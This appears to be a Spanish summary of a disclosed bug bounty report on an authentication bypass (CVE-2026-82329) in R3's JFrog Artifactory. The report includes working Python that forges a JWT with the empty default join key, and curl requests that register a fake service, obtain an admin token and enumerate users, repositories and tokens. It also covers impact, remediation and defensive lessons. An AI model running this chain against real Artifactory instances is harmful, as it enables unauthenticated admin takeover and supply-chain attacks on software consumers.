Reports
CRÍTICA[AUTENTICACIÓN]#3994056

Toma de control total de la Artifactory de R3: una join key por defecto vacía abría el acceso admin

Una clave de unión por defecto vacía en la JFrog Artifactory de R3 permitía forjar un JWT, registrarse como servicio de confianza y escalar a administrador sin autenticarse. CVE-2026-82329, CVSS 9.8, resuelto.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

La instancia de JFrog Artifactory de R3 Limited (software.r3.com) era vulnerable a CVE-2026-82329 (CVSS 9.8), un fallo de bypass de autenticación en el servicio de access. El problema nace de una join key (clave de unión entre nodos) dejada por defecto en vacío. Cuando el fichero join.key está vacío, la clave con la que se firman los JWT de registro se convierte en 32 bytes de espacio (0x20), un valor conocido y universal. Con esa clave, un atacante no autenticado podía firmar su propio JWT, darse de alta como servicio de confianza del clúster y, a partir de ahí, pedir un token con scope de administrador sobre toda la instancia.

R3 es la empresa detrás de Corda, una plataforma de blockchain empresarial usada por bancos, aseguradoras e instituciones financieras. Esa Artifactory era su plataforma principal de distribución de software, de modo que el fallo abría la puerta a un ataque de cadena de suministro sobre todo el ecosistema que consume sus artefactos.

Pasos de reproducción

1. Forjar el JWT de unión con la clave vacía por defecto

La clave de firma HMAC es el resultado de rellenar (padding PKCS7) la join key vacía, lo que da 32 bytes de espacio. Con ella se firma un JWT que pide saltarse el registro del nodo:

import hmac, hashlib, base64, json, time

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = b64url(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
payload = b64url(json.dumps({
    "service_id": "jfrt@01",
    "node_id": "exploit-node",
    "skip_node_registration": True,
    "iat": int(time.time()) * 1000
}).encode())

signing_input = f"{header}.{payload}"
key = b'\x20' * 32  # 32 espacios: la join key vacía por defecto

sig = hmac.new(key, signing_input.encode(), hashlib.sha256).digest()
jwt_token = f"{signing_input}.{b64url(sig)}"
print(jwt_token)

2. Registrarse como servicio de confianza

Se envía el JWT forjado al endpoint de join del servicio de access:

curl -sk -X POST -H "Content-Type: text/plain" \
  -d '<JWT_DEL_PASO_1>' \
  https://software.r3.com/access/api/v1/registry/join

El servidor acepta el JWT y responde 201 Created con un token de acceso firmado con RSA para el servicio recién registrado.

3. Escalar a administrador

Con ese token se pide otro con scope de administrador:

curl -sk -X POST \
  -H "Authorization: Bearer <TOKEN_DEL_PASO_2>" \
  -H "Content-Type: application/json" \
  -d '{"scope": "applied-permissions/admin", "expires_in": 3600}' \
  https://software.r3.com/access/api/v1/tokens

La respuesta (200) devuelve un token con permisos de administrador sin restricciones.

4. Confirmar el acceso

A partir del token de administrador, el investigador comprobó el alcance real consultando las APIs de administración:

# Enumerar usuarios
curl -sk -H "Authorization: Bearer <TOKEN_ADMIN>" \
  https://software.r3.com/artifactory/api/security/users

# Enumerar repositorios
curl -sk -H "Authorization: Bearer <TOKEN_ADMIN>" \
  https://software.r3.com/artifactory/api/repositories

# Listar tokens de acceso
curl -sk -H "Authorization: Bearer <TOKEN_ADMIN>" \
  https://software.r3.com/access/api/v1/tokens

Según el reporte: 292 cuentas de usuario (empleados de R3 y de organizaciones asociadas, con sus correos corporativos), 269 repositorios (81 de Corda y 4 relacionados con monedas digitales de banco central, CBDC) y 262 tokens de acceso, de ellos 30 con scope de administrador.

Para demostrar el acceso de escritura sin tocar nada de producción, el investigador creó y borró de inmediato un repositorio de prueba y un usuario de prueba, volvió a cifrar los valores que había descifrado y no dejó accesos persistentes.

Impacto

El fallo daba a un atacante no autenticado control administrativo total de la plataforma de distribución de software de R3. En concreto, según lo demostrado en el reporte:

  • Acceso completo a las 292 cuentas y a los 269 repositorios, incluidos los que sirven releases de Corda Enterprise a bancos e instituciones financieras (corda-enterprise-for-customers, corda5-release-packs-for-customers), las imágenes Docker de producción (corda-ent-docker-stable, corda-os-docker-stable) y los repositorios de aplicaciones móviles CBDC.
  • Extracción de 262 tokens de acceso (30 de administrador), que suponen una vía de persistencia incluso tras rotar la join key.
  • Ataque de cadena de suministro: con escritura sobre esos repositorios, un atacante podría publicar versiones maliciosas de los artefactos de Corda y CENM que consumen los clientes, o envenenar las imágenes Docker.
  • Extracción de las credenciales SMTP de Office 365 de la cuenta de servicio de Artifactory, descifrándolas desde la configuración, lo que habilitaría enviar correo en nombre de R3.
  • Extracción del par de claves GPG de firma de artefactos de R3, lo que permitiría firmar paquetes maliciosos como si fueran legítimos, dando confianza criptográfica a un ataque de cadena de suministro.

Software afectado según el reporte: JFrog Artifactory 7.133.16.

Remediación

El reporte recomienda, entre otras medidas:

  • Rotar la join key a un valor aleatorio fuerte.
  • Actualizar Artifactory a 7.191.14 o posterior, que corrige CVE-2026-82329.
  • Revocar todos los tokens existentes (en especial los de administrador) y considerarlos comprometidos.
  • Rotar la contraseña de Office 365 de la cuenta de servicio de Artifactory y la clave GPG de firma, y volver a firmar los artefactos publicados.
  • Restringir el acceso al endpoint /access/api/v1/registry/join a redes internas de confianza.
  • Auditar repositorios y cuentas en busca de modificaciones no autorizadas y avisar a las organizaciones asociadas afectadas.

El reporte figura como Resuelto. Fue enviado el 3 de septiembre de 2026 y divulgado el 8 de octubre de 2026.

Qué aprender de este caso

  • En cualquier despliegue de JFrog Artifactory (o productos con clústeres que firman JWT entre nodos), comprueba que join.key no está vacío: una clave vacía degrada a un valor fijo y público (aquí, 32 espacios), que convierte la firma HMAC en algo que cualquiera puede reproducir.
  • El endpoint access/api/v1/registry/join no debería ser alcanzable desde Internet: el registro de nodos es tráfico interno del clúster. Exponerlo convierte un secreto compartido débil en un bypass de autenticación remoto.
  • Vigila los flujos de escalada de privilegios por tokens: aquí un servicio recién registrado podía pedirse a sí mismo un token applied-permissions/admin. Revisa que el scope que un servicio puede solicitar esté acotado a lo que necesita.
  • Los secretos "descifrables por el propio sistema" (credenciales SMTP, claves GPG) solo protegen mientras nadie tenga admin: una vez dentro, el endpoint api/system/decrypt los entrega en claro. Trata las claves de firma de artefactos como secretos de máxima criticidad, idealmente en un HSM o almacén externo.